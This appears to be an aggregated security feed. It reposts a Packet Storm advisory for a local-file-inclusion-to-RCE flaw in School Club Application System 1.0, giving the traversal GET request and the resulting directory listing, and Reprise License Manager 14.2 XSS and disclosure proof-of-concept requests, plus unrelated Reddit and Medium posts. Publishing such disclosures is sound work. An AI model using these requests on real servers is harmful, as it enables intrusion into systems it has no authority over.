Exploit Collector
School Club Application System 1.0 Local File Inclusion

https://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png
School Club Application System version 1.0 suffers from a local file inclusion vulnerability.

MD5 | 661b7b8b1918c2222247d8d75b004ef8

Download
# Title: School Club Application System 1.0 LFI To RCE
# Author: Hejap Zairy
# Date: 08.04.2022
# Vendor: https://www.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scas_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
#vulnerability Code php
Needs more filtering require_once

```
<?php
require_once('config.php');
$page = isset($_GET['page']) ? $_GET['page'] : 'home';
$page_name = explode("/",$page)[count(explode("/",$page)) -1];
?>
```

[+] Payload GET
```
GET /scas/?page=../../0day&515=dir HTTP/1.1
Host: 0day.gov
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: ar,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=edh1ho9c9skog6v2ns0n0j3f2k
Connection: close
```
#Status: CRITICAL

#Response
```
HTTP/1.1 200 OK
Date: Fri, 08 Apr 2022 04:05:58 GMT
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27
X-Powered-By: PHP/7.4.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13563
.. .. 0day Page


Volume in drive C is OS
Volume Serial Number is 2EF1-9DCA

Directory of C:\xampp\htdocs\scas

04/08/2022 06:27 AM .
04/08/2022 06:27 AM ..
03/19/2021 01:17 PM 225 .htaccess
04/07/2022 10:03 AM 2,115 about.html
03/30/2022 04:31 PM 220 about.php
04/07/2022 03:56 PM admin
04/08/2022 06:27 AM assets
03/29/2022 04:17 PM classes
04/07/2022 03:20 PM clubs
04/07/2022 04:33 PM club_admin
04/07/2022 02:39 PM club_contents
03/30/2022 10:03 AM 1,297 config.php
04/07/2022 05:13 PM database
03/30/2022 04:31 PM 256 home.php
03/29/2022 10:24 AM includes
04/07/2022 03:18 PM 3,010 index.php
04/07/2022 09:35 AM 647 initialize.php
04/07/2022 08:18 AM uploads
04/07/2022 10:03 AM 1,842 welcome.html
8 File(s) 9,612 bytes
11 Dir(s) 81,520,218,112 bytes free
```
# Description:
Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server or execution file If converted rce
# Proof and Exploit:
https://i.imgur.com/3MbzZuQ.png
https://i.imgur.com/mqXb1Mc.png
Source:packetstormsecurity.com

Exploit Collector
Reprise License Manager 14.2 Cross Site Scripting / Information Disclosure

https://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png Reprise License Manager version 14.2 suffers from cross site scripting and information disclosure vulnerabilities.

MD5 | cc55ae7d1b402036a9e2e82e2e0c4ea4Download Multiple Vulnerabilities in Reprise License Manager 14.2

Credit: Giulia Melotti Garibaldi

//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

# Product: RLM 14.2
# Vendor: Reprise Software
# CVE ID: CVE-2022-28363
# Vulnerability Title: Reflected Cross-Site Scripting
# Severity: Medium
# Author(s): Giulia Melotti Garibaldi
# Date: 2022-03-29
#
#############################################################
Introduction:
Reprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability (XSS) in the /goform/login_process "username" parameter via GET. No authentication is required.

Vulnerability PoC:

GET http://HOST:5054/goform/login_process?username=admin&password=admin&ok=LOGIN HTTP/1.1
Host: HOST:5054
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://HOST:5054
Connection: keep-alive
Referer: http://HOST:5054/goform/login_process
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

# Product: RLM 14.2
# Vendor: Reprise Software
# CVE ID: CVE-2022-28364
# Vulnerability Title: Authenticated Reflected Cross-Site Scripting
# Severity: Low
# Author(s): Giulia Melotti Garibaldi
# Date: 2022-03-29
#
#############################################################
Introduction:
Reprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability (XSS) in the /goform/rlmswitchr_process "file" parameter via GET. Authentication is required.

Vulnerability PoC:

GET http://HOST:5054/goform/rlmswitchr_process?file= HTTP/1.1
Host: HOST:5054
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Origin: http://HOST:5054
Connection: keep-alive
Referer: http://HOST:5054/goforms/rlmswitchr
Cookie: REDACTED
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
# Product: RLM 14.2
# Vendor: Reprise Software
# CVE ID: CVE-2022-28365
# Vulnerability Title: Unauthenticated Information Disclosure
# Severity: Low
# Author(s): Giulia Melotti Garibaldi
# Date: 2022-03-29
#
#############################################################
Introduction:
Reprise License Manager 14.2 is affected by an Information Disclosure vulnerability via a GET request to /goforms/rlminfo. No authentication is required.
The information disclosed is associated with software versions, process IDs, network configuration, hostname(s), system architecture and file/directory information.

Vulnerability PoC:

GET http://HOST:5054/goforms/rlminfo HTTP/1.1
Host: HOST:5054
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Content-Length: 0
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Source:packetstormsecurity.com

Hacking on Medium
How to Protect Yourself from Ransomware?

https://cdn-images-1.medium.com/max/600/0*cRSokVIHH9IVO30R.png
A rise in the number of ransomware attacks on governments, businesses, hospitals, and private individuals is being seen. It has grown into…

Continue reading on Medium »

hacking: security in practice
Is it possible to do this↓?

I want to modify the social networks to avoid my brain getting dumber. Since I need to use them for my job, I want to be able to filter the Instagram (example) content. This means, deleting the 🔍 and only being able to see the accounts I choose.

Also having the possibility of blocking all the content and only using the chat and the stories would be really interesting.

I have seen app blockers but never an inside-app blocker.

submitted by /u/DzyPassio
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Possible new T-mobile phone # scam?

Hey guys, I'm new here but I just came across a scam and I'd like your input on it. So yesterday and today I received a text message in a group chat I was brought into that stated that my bill for the month of March has been paid(even though I'm not the one paying the phone bill). I knew this was a scam but I wanted to look into it because as I already mentioned this was in a group chat. So I ran the links through Virus Total and the report said there was no malware on the sites. I then looked into the status of these websites and they came back invalid. The next thing I did was run a background check on the number that started the group chat I was brought into today. I also checked some of the other numbers that responded with "stop" just to make sure I wasn't being fooled. The number that started the group chat came back as "unknown" and was said to have most likely been based in New York. The other numbers were real but, they could have had their T-mobile accounts compromised and had their phone numbers stolen. The only thing I noticed we all had in common was that our service provider was T-mobile or owned by T-mobile(ex. Metropcs). I went on google and found out that these kinds of scams have been happening for a while. But what makes this different(at least to me) is that in the previous scams it was never mentioned where these numbers are coming from. In this one, not only does it claim to be from T-mobile. The scam number is provided/serviced by T-mobile. I don't know if I'm overthinking this or not but I'd like some outside input. Also, one of the sites I used claims it is 90% sure the scam number is a CLEC(Competitive Local Exchange Carrier), don't know if that changes anything. Thank you for your time.

submitted by /u/MUGGYtheREAPER
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video